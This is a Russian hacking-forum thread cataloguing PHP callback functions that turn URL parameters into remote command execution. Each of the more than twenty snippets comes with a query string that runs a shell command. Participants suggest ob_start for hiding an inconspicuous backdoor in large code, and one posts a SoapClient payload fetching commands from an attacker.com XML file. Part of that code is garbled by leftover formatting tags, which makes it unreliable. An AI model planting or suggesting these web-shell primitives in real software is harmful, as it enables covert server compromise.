ANTICHAT - Функции обратного вызова

ANTICHAT (https://forum.antichat.io/index.php)

- База Знаний (https://forum.antichat.io/forumdisplay.php?f=210)

- - Функции обратного вызова (https://forum.antichat.io/showthread.php?t=469880)

актуальные в php7.3, вызывать будем system("id");

1. array_map

Код:

array_map($_GET[x],$_GET);

?x=system&_=id

2. array_walk, array_filter, array_walk_recursive

Код:

array_walk($_GET,$_GET[x]);

?x=system&_=id

3. array_udiff

Код:

array_udiff($_GET,$_GET,$_GET[x]);

?x=system&_=id&1

4. array_reduce

Код:

array_reduce([1],$_GET[x],$_GET[_]);

?x=system&_=id

5. array_udiff_assoc, array_uintersect, array_uintersect_assoc

Код:

array_udiff_assoc($_GET,$_GET,$_GET[x]);

?x=system&_=id

6. array_intersect_uassoc, array_diff_ukey, array_diff_uassoc

Код:

array_intersect_uassoc($_GET,$_GET,$_GET[x]);

?x=system&id=1

7. array_uintersect_uassoc, array_udiff_uassoc

Код:

array_uintersect_uassoc($_GET, $_GET, $_GET[x],_);

?x=system&_=id

8. usort, uasort, ArrayObject::uasort

Код:

usort($_GET,$_GET[x]);

?x=system&_=id&1

9. uksort, ArrayObject::uksort

Код:

uksort($_GET,$_GET[x]);

?x=system&id=1&1

10. call_user_func

Код:

call_user_func($_GET[x], $_GET[_]);

?x=system&_=id

11. call_user_func_array

Код:

call_user_func_array($_GET[x], $_GET);

?_=id&x=system

12. iterator_apply

Код:

iterator_apply(new ArrayObject([1]),$_GET[w],$_GET);

?_=id&w=system

13. register_tick_function

Код:

declare(ticks=1);

register_tick_function($_GET[x],$_GET[_]);

?x=system&_=id

14. forward_static_call

Код:

class A

{

    function __construct() {

        forward_static_call($_GET[x],$_GET[_]);

    }

}

new A;

?x=system&_=id

15 forward_static_call_array

Код:

class A

{

    function __construct() {

        forward_static_call_array($_GET[x],$_GET);

    }

}

new A;

?_=id&x=system

16. session_set_save_handler

Код:

session_set_save_handler($_GET[x],_,_,_,_,_);

ini_set('session.save_path',$_GET[_]);

session_start();

?x=system&_=id

17. sqlite::createFunction

Код:

$x=$_GET[x];

$db = new SQLite3(':memory:');

$db->createFunction($x,$x);

$db->querySingle("select $x('$_GET[_]')");

?x=system&_=id

18. spl_autoload_register

Код:

spl_autoload_register($_GET[x]);

new $_GET[_];

?x=system&_=id

19. ob_start

Код:

ob_start($_GET[x]);

echo $_GET[_];

?>

?x=system&_=id

20. set_exception_handler

Код:

set_exception_handler($_GET[x]);

throw new Exception(";$_GET[_];#");

?_=id&x=system

21. register_shutdown_function

Код:

register_shutdown_function($_GET[x],$_GET[_]);

?x=system&_=id

Лайк.

Из всех перечисленных самый интересный это с ob_start, хороший вариант спрятать в большом участке кода беспалевную закладку.

Немного наркомании в тред

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'http://attacker.com/evil.xml'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'typemap'[/COLOR][COLOR="#007700"]=> [[[/COLOR][COLOR="#DD0000"]'type_ns'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'http://windows.must.die'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'type_name'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'bad'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'from_xml'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'system'[/COLOR][COLOR="#007700"]]],
[/COLOR][COLOR="#DD0000"]'uri'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'http://localhost/'[/COLOR][COLOR="#007700"]));

[/COLOR][COLOR="#0000BB"]$client[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]();
[/COLOR][/COLOR]

http://attacker.com/evil.xml:

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR]

  
    x;
touch /tmp/pwned;
    
  

[/COLOR]

Цитата:

Сообщение от Gorbachev

↑
Лайк.
Из всех перечисленных самый интересный это с ob_start, хороший вариант спрятать в большом участке кода беспалевную закладку.

из всех перечисленных как раз ob_start может вызвать проблемы, нужно смотреть не используются ли другие механизмы кеширования буфера и не забывать про ob_end_flush()

unserialize_callback_func

Код:

$c='O:2:"id":0:{}';

ini_set('unserialize_callback_func', 'system');

unserialize($c);

Код:

$func = new ReflectionFunction($_GET['f']);

echo $func->invokeArgs($_GET['c']);

?f=shell_exec&c[0]=id

Код:

$func = new ReflectionFunction($_GET['f']);

echo $func->invoke($_GET['c']);

?f=system&c=id